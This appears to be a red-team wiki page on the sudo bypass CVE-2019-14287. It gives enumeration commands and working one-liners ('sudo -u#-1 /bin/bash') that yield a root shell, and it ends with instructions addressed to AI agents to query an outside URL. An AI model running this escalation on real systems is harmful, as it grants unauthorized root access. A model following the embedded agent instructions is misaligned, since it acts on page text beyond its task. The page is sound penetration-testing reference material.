# User Restriction Bypass

## Theory

The sudo vulnerability **CVE-2019-14287** is a security policy bypass issue that provides a user or a program the ability to execute commands as root on a Linux system when the "sudoers configuration" explicitly disallows the root access. Exploiting the vulnerability requires the user to have sudo privileges that allow them to run commands with an arbitrary user ID, except root.

## Practice

{% tabs %}
{% tab title="Enumerate" %}
To exploit, sudo version must be vulnerable (sudo < **1.8.28**)

```bash
$ sudo -V
Sudo version 1.8.27
```

You must be able to run a command with sudo with an arbitrary user ID, except root

```bash
$ sudo -l
[...]
(ALL, !root) ALL
```

{% endtab %}

{% tab title="Exploit" %}
If you have a full TTY, you can exploit it like this

```bash
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
```

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/redteam/privilege-escalation/linux/sudo-exploits/bypass-of-user-restrictions.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
